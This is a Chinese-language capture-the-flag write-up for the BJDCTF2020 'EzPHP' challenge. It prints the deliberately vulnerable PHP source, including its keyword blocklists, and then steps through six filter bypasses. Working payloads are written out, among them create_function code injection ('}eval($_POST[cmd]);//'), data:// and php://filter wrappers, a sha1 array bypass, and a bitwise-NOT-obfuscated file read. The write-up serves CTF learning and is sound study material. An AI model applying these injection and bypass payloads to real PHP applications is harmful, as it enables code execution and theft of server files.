[BJDCTF2020]EzPHP

这一道题里面的知识点实在是太多了,即使这道题是我最喜欢的RCE也有点大脑停转了,所以还是做个笔记,以后方便回忆

直接跳过打点,来到源码

复制代码
<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

短短51行代码居然有六层过滤,也是阴的没边,这次的payload至今为止也是鼠鼠手打过最长的

第一层
复制代码
if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

首先看第一块,这里是正则匹配的过滤,但是注意到(注意力惊人)这里用的是$_SERVER

众所周知,get传参的时候会对get传的参数进行url解码,但是$_SERVER['QUERY_STRING']却不会。

所以说对于第一层过滤的所有字母和字符,都可以用url编码进行绕过。

第二层
复制代码
if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

这里就很简单了,传入debu=aque_is_cute的url编码格式绕过前面第一个过滤

%64ebu=%61qua_is_%63ute%0a这里我只部分进行了编码,至于file参数等下再说

但是这里我们发现又触发了第三层的过滤

第三层
复制代码
if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
}

这里说他讨厌英语,传的参数值不能有英文的26个字母,但是我们又注意到这里是$_REQUEST传参,所以可以绕过

$_REQUEST传参时同时接收GET和POST的传参,但POST拥有更高的优先级,所以只需要POST相同的参数即可绕过。

复制代码
%64ebu=%61qua_is_%63ute%0a

debu=1

我们继续往下看,来到第四层

第四层
复制代码
if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

这里我们要让file的值等于debu_debu_aqua,所以这里要用到data伪协议,当然也是要和上面一样绕过第二层和第三层的过滤

复制代码
file=?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%64ebu=%61qua_is_%63ute%0a

debu=1&file=1
第五层
复制代码
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

这里是简单的sha1绕过MD5和sha1绕过方式总结正好今天下午刚看过

这里用到的是数组绕过,注意url编码就好

复制代码
?file=?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%64ebu=%61qua_is_%63ute%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&

debu=1&file=1
第六层
复制代码
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

这里是最核心的一层,也是我拼尽全力无法战胜的一层,所以去看了wp才恍然大悟

首先这里有两个参数$code$arg可控,可以利用$code('', $arg); 注入。

这里介绍一个函数:

PHP 中的 create_function($args, $code) 会创建一个匿名函数,举个例子:

比如我们传:

复制代码
flag[code]=create_function
flag[arg]=}eval($_POST[cmd]);//

那么代码就变成:

复制代码
$code = create_function;
$arg = '}eval($_POST[cmd]);//';

$code('', $arg);  // => create_function('', '}eval($_POST[cmd]);//');

这个返回的函数等价于

复制代码
function($a, $b) {
  }eval($_POST[cmd]);//
}

了解了原理,接下来我们来构造payload,因为过滤实在太多,所以我们先用:

复制代码
flag[arg]=}var_dump(get_defined_vars());// 
flag[code]=create_function

来试一试,注意这里要用}提前闭合函数体

这样就得到了许多的变量键值,我就不贴上来了,最后有一个

"Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333"}

这里可以利用require(),来代替include()

复制代码
require(php://filter/read=convert.base64- encode/resource=rea1fl4g.php);//

但是过滤的限制太多了,所以我们对其进行base64编码

复制代码
%66%6c%61%67[%61%72%67]=};require(%62%61%73%65%36%34_%64%65%63%6f%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function

debu=1&file=1

但是这里只得到了假的flag,这里我查了很多资料,但是都只是提到了要用取反来读flag,没有人提这里仅仅进行URL编码不能读取到flag的问题。在我把这道题的源码全部读了一遍后,我猜测问题大概是出在unset()函数这里

unset函数本来是用来销毁变量的,这里让$realflag执行unset,本意是为了避免我们用上面的方法直接get_difined_vars直接读取flag,却影响了文件包含读取flag内容,所以这里要用到取反编码进行读取,后面我会写一遍关于unset函数的文章来详细解释

最终payload:

复制代码
// GET
?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg]=};require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php);var_dump(get_defined_vars());//&flag[code]=create_function

?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=;}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67[%63%6f%64%65]=create_function

// POST
debu=1&file=1

得到base64源码解码后得到flag

相关推荐
亿坊电商10 分钟前
PHP框架在微服务迁移中能发挥什么作用?
开发语言·微服务·php
JM丫15 分钟前
PWNOS:2.0(vulnhub靶机)
网络安全
帅云毅1 小时前
Web漏洞--XSS之订单系统和Shell箱子
前端·笔记·web安全·php·xss
keep intensify1 小时前
Linux常用指令
linux·服务器·php
迷路的小绅士2 小时前
常见网络安全攻击类型深度剖析(三):DDoS攻击——分类、攻击机制及企业级防御策略
网络·web安全·ddos
ALex_zry3 小时前
Docker Macvlan网络配置实战:解决“network already exists“错误
网络·docker·php
半路_出家ren3 小时前
流量抓取工具(wireshark)
网络·网络协议·测试工具·网络安全·wireshark·流量抓取工具
布尼卡4 小时前
mac brew 无法找到php7.2 如何安装php7.2
php·mac
迷路的小绅士5 小时前
常见网络安全攻击类型深度剖析(四):跨站脚本攻击(XSS)——分类、漏洞利用与前端安全防护
前端·安全·web安全